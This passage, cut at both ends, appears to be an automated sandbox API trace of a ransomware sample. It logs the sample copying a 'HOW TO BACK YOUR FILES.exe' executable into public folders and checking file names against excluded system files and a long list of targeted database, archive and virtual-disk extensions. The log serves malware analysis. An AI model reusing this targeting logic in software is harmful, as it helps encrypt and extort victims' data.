cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.261] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.261] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2=".") returned 1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2="..") returned 1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2="windows") returned -1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2="bootmgr") returned 1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2="temp") returned -1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2="pagefile.sys") returned 1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2="boot") returned 1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2="ids.txt") returned 1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2="ntuser.dat") returned 1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2="perflogs") returned 1 [0054.261] lstrcmpiW (lpString1="Sample Music", lpString2="MSBuild") returned 1 [0054.261] lstrlenW (lpString="Sample Music") returned 12 [0054.261] lstrcpyW (in: lpString1=0x241e896, lpString2="Sample Music" | out: lpString1="Sample Music") returned="Sample Music" [0054.261] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music", dwFileAttributes=0x10) returned 1 [0054.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf48 [0054.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52e270 [0054.262] lstrcatW (in: lpString1="Sample Music", lpString2="\\" | out: lpString1="Sample Music\\") returned="Sample Music\\" [0054.262] lstrcatW (in: lpString1="Sample Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Music\\HOW TO BACK YOUR FILES.exe") returned="Sample Music\\HOW TO BACK YOUR FILES.exe" [0054.262] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\music\\sample music\\how to back your files.exe"), bFailIfExists=1) returned 1 [0054.265] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0054.265] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.265] ReleaseMutex (hMutex=0xec) returned 1 [0054.265] CloseHandle (hObject=0xec) returned 1 [0054.265] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Pictures" | out: lpString1="C:\\Documents and Settings\\Public\\Pictures") returned="C:\\Documents and Settings\\Public\\Pictures" [0054.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528e30 | out: hHeap=0x4f0000) returned 1 [0054.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf60 | out: hHeap=0x4f0000) returned 1 [0054.265] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Pictures") returned 41 [0054.265] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2EBCE6350A1C63605F00C68C35FE2B48") returned 0xec [0054.265] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.265] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Pictures" | out: lpString1="C:\\Documents and Settings\\Public\\Pictures") returned="C:\\Documents and Settings\\Public\\Pictures" [0054.265] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.265] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.266] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.266] GetLastError () returned 0x0 [0054.266] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.266] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.267] CloseHandle (hObject=0xf4) returned 1 [0054.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.267] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.267] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2fa6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.267] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.267] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.267] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.267] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2fa6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.267] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.267] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.267] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.267] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.267] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0054.267] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.267] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.267] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.267] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0054.268] lstrlenW (lpString="desktop.ini") returned 11 [0054.268] lstrcpyW (in: lpString1=0x241e89c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0054.268] lstrlenW (lpString="desktop.ini") returned 11 [0054.268] lstrlenW (lpString="Athena865") returned 9 [0054.268] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0054.268] lstrlenW (lpString=".dll") returned 4 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0054.268] lstrlenW (lpString=".lnk") returned 4 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0054.268] lstrlenW (lpString=".ini") returned 4 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0054.268] lstrlenW (lpString=".sys") returned 4 [0054.268] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0054.268] lstrlenW (lpString="desktop.ini") returned 11 [0054.268] lstrlenW (lpString="bak") returned 3 [0054.268] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0054.268] lstrlenW (lpString="ba_") returned 3 [0054.268] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0054.268] lstrlenW (lpString="dbb") returned 3 [0054.268] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0054.268] lstrlenW (lpString="vmdk") returned 4 [0054.268] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0054.268] lstrlenW (lpString="rar") returned 3 [0054.268] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0054.269] lstrlenW (lpString="zip") returned 3 [0054.269] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0054.269] lstrlenW (lpString="tgz") returned 3 [0054.269] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0054.269] lstrlenW (lpString="vbox") returned 4 [0054.269] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0054.269] lstrlenW (lpString="vdi") returned 3 [0054.269] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0054.269] lstrlenW (lpString="vhd") returned 3 [0054.269] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0054.269] lstrlenW (lpString="vhdx") returned 4 [0054.269] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0054.269] lstrlenW (lpString="avhd") returned 4 [0054.269] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0054.269] lstrlenW (lpString="db") returned 2 [0054.269] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0054.269] lstrlenW (lpString="db2") returned 3 [0054.269] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0054.269] lstrlenW (lpString="db3") returned 3 [0054.269] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0054.269] lstrlenW (lpString="dbf") returned 3 [0054.269] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0054.269] lstrlenW (lpString="mdf") returned 3 [0054.269] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0054.269] lstrlenW (lpString="mdb") returned 3 [0054.269] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0054.269] lstrlenW (lpString="sql") returned 3 [0054.269] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0054.269] lstrlenW (lpString="sqlite") returned 6 [0054.269] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0054.269] lstrlenW (lpString="sqlite3") returned 7 [0054.269] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0054.269] lstrlenW (lpString="sqlitedb") returned 8 [0054.270] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0054.270] lstrlenW (lpString="xml") returned 3 [0054.270] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0054.270] lstrlenW (lpString="$er") returned 3 [0054.270] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0054.270] lstrlenW (lpString="4dd") returned 3 [0054.270] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0054.270] lstrlenW (lpString="4dl") returned 3 [0054.270] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0054.270] lstrlenW (lpString="^^^") returned 3 [0054.270] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0054.270] lstrlenW (lpString="abs") returned 3 [0054.270] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0054.270] lstrlenW (lpString="abx") returned 3 [0054.270] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0054.270] lstrlenW (lpString="accdb") returned 5 [0054.270] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0054.270] lstrlenW (lpString="accdc") returned 5 [0054.270] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0054.270] lstrlenW (lpString="accde") returned 5 [0054.270] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0054.270] lstrlenW (lpString="accdr") returned 5 [0054.270] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0054.270] lstrlenW (lpString="accdt") returned 5 [0054.270] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0054.270] lstrlenW (lpString="accdw") returned 5 [0054.270] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0054.270] lstrlenW (lpString="accft") returned 5 [0054.270] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0054.270] lstrlenW (lpString="adb") returned 3 [0054.270] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.270] lstrlenW (lpString="adb") returned 3 [0054.270] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.271] lstrlenW (lpString="ade") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0054.271] lstrlenW (lpString="adf") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0054.271] lstrlenW (lpString="adn") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0054.271] lstrlenW (lpString="adp") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0054.271] lstrlenW (lpString="alf") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0054.271] lstrlenW (lpString="ask") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0054.271] lstrlenW (lpString="btr") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0054.271] lstrlenW (lpString="cat") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0054.271] lstrlenW (lpString="cdb") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0054.271] lstrlenW (lpString="ckp") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0054.271] lstrlenW (lpString="cma") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0054.271] lstrlenW (lpString="cpd") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0054.271] lstrlenW (lpString="dacpac") returned 6 [0054.271] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0054.271] lstrlenW (lpString="dad") returned 3 [0054.271] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0054.271] lstrlenW (lpString="dadiagrams") returned 10 [0054.271] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0054.271] lstrlenW (lpString="daschema") returned 8 [0054.271] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0054.271] lstrlenW (lpString="db-journal") returned 10 [0054.272] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0054.272] lstrlenW (lpString="db-shm") returned 6 [0054.272] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0054.272] lstrlenW (lpString="db-wal") returned 6 [0054.272] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0054.272] lstrlenW (lpString="dbc") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0054.272] lstrlenW (lpString="dbs") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0054.272] lstrlenW (lpString="dbt") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0054.272] lstrlenW (lpString="dbv") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0054.272] lstrlenW (lpString="dbx") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0054.272] lstrlenW (lpString="dcb") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0054.272] lstrlenW (lpString="dct") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0054.272] lstrlenW (lpString="dcx") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0054.272] lstrlenW (lpString="ddl") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0054.272] lstrlenW (lpString="dlis") returned 4 [0054.272] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0054.272] lstrlenW (lpString="dp1") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0054.272] lstrlenW (lpString="dqy") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0054.272] lstrlenW (lpString="dsk") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0054.272] lstrlenW (lpString="dsn") returned 3 [0054.272] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0054.272] lstrlenW (lpString="dtsx") returned 4 [0054.273] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0054.273] lstrlenW (lpString="dxl") returned 3 [0054.273] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0054.273] lstrlenW (lpString="eco") returned 3 [0054.273] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0054.273] lstrlenW (lpString="ecx") returned 3 [0054.273] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0054.273] lstrlenW (lpString="edb") returned 3 [0054.273] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0054.273] lstrlenW (lpString="epim") returned 4 [0054.273] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0054.273] lstrlenW (lpString="fcd") returned 3 [0054.273] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0054.273] lstrlenW (lpString="fdb") returned 3 [0054.273] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0054.273] lstrlenW (lpString="fic") returned 3 [0054.273] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0054.273] lstrlenW (lpString="flexolibrary") returned 12 [0054.273] lstrlenW (lpString="fm5") returned 3 [0054.273] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0054.273] lstrlenW (lpString="fmp") returned 3 [0054.273] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0054.273] lstrlenW (lpString="fmp12") returned 5 [0054.273] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0054.273] lstrlenW (lpString="fmpsl") returned 5 [0054.273] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0054.273] lstrlenW (lpString="fol") returned 3 [0054.273] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0054.273] lstrlenW (lpString="fp3") returned 3 [0054.273] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0054.273] lstrlenW (lpString="fp4") returned 3 [0054.273] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0054.273] lstrlenW (lpString="fp5") returned 3 [0054.274] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0054.274] lstrlenW (lpString="fp7") returned 3 [0054.274] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0054.274] lstrlenW (lpString="fpt") returned 3 [0054.274] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0054.274] lstrlenW (lpString="frm") returned 3 [0054.274] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0054.274] lstrlenW (lpString="gdb") returned 3 [0054.274] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.274] lstrlenW (lpString="gdb") returned 3 [0054.274] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.274] lstrlenW (lpString="grdb") returned 4 [0054.274] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0054.274] lstrlenW (lpString="gwi") returned 3 [0054.274] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0054.274] lstrlenW (lpString="hdb") returned 3 [0054.274] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0054.274] lstrlenW (lpString="his") returned 3 [0054.274] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0054.274] lstrlenW (lpString="ib") returned 2 [0054.274] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0054.274] lstrlenW (lpString="idb") returned 3 [0054.274] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0054.274] lstrlenW (lpString="ihx") returned 3 [0054.274] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0054.274] lstrlenW (lpString="itdb") returned 4 [0054.274] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0054.274] lstrlenW (lpString="itw") returned 3 [0054.274] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0054.275] lstrlenW (lpString="jet") returned 3 [0054.275] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0054.275] lstrlenW (lpString="jtx") returned 3 [0054.275] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0054.275] lstrlenW (lpString="kdb") returned 3 [0054.275] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0054.275] lstrlenW (lpString="kexi") returned 4 [0054.275] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0054.275] lstrlenW (lpString="kexic") returned 5 [0054.275] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0054.275] lstrlenW (lpString="kexis") returned 5 [0054.275] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0054.275] lstrlenW (lpString="lgc") returned 3 [0054.275] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0054.275] lstrlenW (lpString="lwx") returned 3 [0054.275] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0054.275] lstrlenW (lpString="maf") returned 3 [0054.275] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0054.275] lstrlenW (lpString="maq") returned 3 [0054.275] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0054.275] lstrlenW (lpString="mar") returned 3 [0054.275] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0054.275] lstrlenW (lpString="marshal") returned 7 [0054.275] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0054.275] lstrlenW (lpString="mas") returned 3 [0054.275] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0054.275] lstrlenW (lpString="mav") returned 3 [0054.275] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0054.275] lstrlenW (lpString="maw") returned 3 [0054.275] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0054.275] lstrlenW (lpString="mdbhtml") returned 7 [0054.275] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0054.275] lstrlenW (lpString="mdn") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0054.276] lstrlenW (lpString="mdt") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0054.276] lstrlenW (lpString="mfd") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0054.276] lstrlenW (lpString="mpd") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0054.276] lstrlenW (lpString="mrg") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0054.276] lstrlenW (lpString="mud") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0054.276] lstrlenW (lpString="mwb") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0054.276] lstrlenW (lpString="myd") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0054.276] lstrlenW (lpString="ndf") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0054.276] lstrlenW (lpString="nnt") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0054.276] lstrlenW (lpString="nrmlib") returned 6 [0054.276] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0054.276] lstrlenW (lpString="ns2") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0054.276] lstrlenW (lpString="ns3") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0054.276] lstrlenW (lpString="ns4") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0054.276] lstrlenW (lpString="nsf") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0054.276] lstrlenW (lpString="nv") returned 2 [0054.276] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0054.276] lstrlenW (lpString="nv2") returned 3 [0054.276] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0054.276] lstrlenW (lpString="nwdb") returned 4 [0054.277] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0054.277] lstrlenW (lpString="nyf") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0054.277] lstrlenW (lpString="odb") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.277] lstrlenW (lpString="odb") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.277] lstrlenW (lpString="oqy") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0054.277] lstrlenW (lpString="ora") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0054.277] lstrlenW (lpString="orx") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0054.277] lstrlenW (lpString="owc") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0054.277] lstrlenW (lpString="p96") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0054.277] lstrlenW (lpString="p97") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0054.277] lstrlenW (lpString="pan") returned 3 